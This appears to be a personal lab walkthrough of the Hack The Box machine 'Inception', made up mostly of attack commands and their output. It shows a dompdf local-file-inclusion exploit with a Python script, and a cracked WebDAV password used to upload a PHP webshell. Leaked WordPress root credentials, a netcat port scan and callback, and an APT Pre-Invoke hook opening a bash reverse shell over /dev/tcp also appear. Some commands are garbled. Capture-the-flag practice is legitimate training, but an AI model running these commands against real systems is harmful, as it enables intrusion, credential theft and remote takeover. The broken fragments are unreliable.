Inception

Untitled

messsed around with proxy chains but didnt get much yet

Untitled

Untitled

Untitled

Untitled

/.hta (Status: 403) [Size: 291]
/.htpasswd (Status: 403) [Size: 296]
/.htaccess (Status: 403) [Size: 296]
/assets (Status: 301) [Size: 313] --> [http://10.129.1.104/assets/]
/images (Status: 301) [Size: 313] --> [http://10.129.1.104/images/]
/index.html (Status: 200) [Size: 2877]
/server-status (Status: 403) [Size: 300]

Untitled

/.htaccess (Status: 403) [Size: 296]
/.htpasswd (Status: 403) [Size: 296]
/assets (Status: 301) [Size: 313] --> [http://10.129.1.104/assets/]
/dompdf (Status: 301) [Size: 313] --> [http://10.129.1.104/dompdf/]
/images (Status: 301) [Size: 313] --> [http://10.129.1.104/images/]
/server-status (Status: 403) [Size: 300]

Untitled

Untitled

Untitled

Untitled

Untitled

decode the chunk

Untitled

curl http://10.129/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd

iterate Local file inclusion

#!/usr/bin/env python3import base64
import urllib.request
import argparse

parser= argparse.ArgumentParser()
parser.add_argument("file")
args= parser.parse_args()

url= 'http://10.129.1.104/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource='

try:
	req= urllib.request.urlopen(url+ args.file)

	output= req.read()

if output:
		string= output.decode()
		result= string[string.find("[(")+2:string.find(")]")]
		decoded= base64.b64decode(result).decode('utf8')
print(decoded)

except urllib.error.HTTPError:
print("File cannot be downloaded")

Untitled

Untitled

./lfi.py /var/www/html/webdav_test_inception/webdav.passwd
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

Untitled

Untitled

userpassword

babygurl69

davtest -url http://10.129.1.104/webdav_test_inception -auth webdav_tester:babygurl69

Untitled

Untitled

Untitled

http://10.129.1.104/webdav_test_inception/DavTestDir_WuwN4ArCMjiZLP/davtest_WuwN4ArCMjiZLP.php

Untitled

failing here with php shells

Untitled

curl -X PUT http://webdav_tester:babygurl69@10.129.1.104/webdav_test_inception/shell.php -d @shell.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>201 Created</title>
</head><body>
<h1>Created</h1>
<p>Resource /webdav_test_inception/0xdf.php has been created.</p>
<hr />
<address>Apache/2.4.18 (Ubuntu) Server at 10.129.1.104 Port 80</address>
</body></html>

─[us-dedicated-100-dhcp]─[10.10.14.2]─[htb-ep-8352@pwnbox-base]─[~]
└──╼ [★]$ curl -X PUT http://webdav_tester:babygurl69@10.129.1.104/webdav_test_inception/shell.php -d @shell.php

curl -X PUT http://webdav_tester:babygurl69@10.129.1.104/webdav_test_inception/shell.pycmd=id

GitHub - Arrexel/phpbash: A semi-interactive PHP shell compressed into a single file.
A semi-interactive PHP shell compressed into a single file. - Arrexel/phpbash
https://github.com/Arrexel/phpbash.git

Untitled

Untitled

http://10.129.1.104/webdav_test_inception/phpbash.php

Untitled

Untitled

Untitled

<?php
/**

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+

/#@-/

/**

/**

/* That's all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(FILE) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');

root and VwPddNh7xMZyDQoByQL4

curl --data-urlencode 'cmd=nc 10.10.14.2 9999 2>&1' http://webdav_tester:babygurl69@10.129.1.104/webdav_test_inception/shl.php

Untitled

Untitled

└──╼ [★]$ curl http://webdav_tester:babygurl69@10.129.1.104/webdav_test_inception/s.php?cmd=whoami
www-data
─[us-dedicated-100-dhcp]─[10.10.14.2]─[htb-ep-8352@pwnbox-base]─[~]
└──╼ [★]$
─[us-dedicated-100-dhcp]─[10.10.14.2]─[htb-ep-8352@pwnbox-base]─[~]
└──╼ [★]$ curl --data-urlencode 'cmd=id' http://webdav_tester:babygurl69@10.129.1.104/webdav_test_inception/s.php?
uid=33(www-data) gid=33(www-data) groups=33(www-data)
─[us-dedicated-100-dhcp]─[10.10.14.2]─[htb-ep-8352@pwnbox-base]─[~]
└──╼ [★]$ curl --data-urlencode 'cat /home/cobb/user.txt' http://webdav_tester:babygurl69@10.129.1.104/webdav_test_inception/s.php?

HTB: Inception
Inception was one of the first boxes on HTB that used containers. I’ll start by exploiting a dompdf WordPress plugin to get access to files on the filesystem, which I’ll use to identify a WedDAV directory and credentials. I’ll abuse WebDAV to upload a webshell, and get a foothold in a container. Unf
https://0xdf.gitlab.io/2022/04/04/htb-inception.html

https://0xdf.gitlab.io/files/inception-forwardshell.py

didnt quite get this one working

GitHub - IppSec/forward-shell
Contribute to IppSec/forward-shell development by creating an account on GitHub.
https://github.com/IppSec/forward-shell

Login with cobb from shell with password from wp-config.php

Untitled

Sudoers shows full rights, sudo up

Untitled

Cat root.txt……………..

proxychains should be working

Untitled

Untitled

But its not

pivot to privsec

Untitled

Untitled

connecting to 192.168.0.1

nc -zv 192.168.0.1 1-65535 2>&1 | grep -v "refused"

nc -zv 192.168.0.1 1-100 2>&1 | grep -v refused | tee scan

Untitled

Untitled

Untitled

Untitled

annoying but can get some file, get crontab

Untitled

Untitled

Untitled

VwPddNh7xMZyDQoByQL4

APT::Update::Pre-Invoke {"bash -c 'bash -i >& /dev/tcp/192.168.0.10/8888 0>&1'"}

culr this to www-data on 192.168.0.10, the hot http server, then wget to cobb@127.0.0.1

Untitled

then tftp put it to the etc/apt/apt.conf.d/ folder

Untitled

Untitled

Untitled

Untitled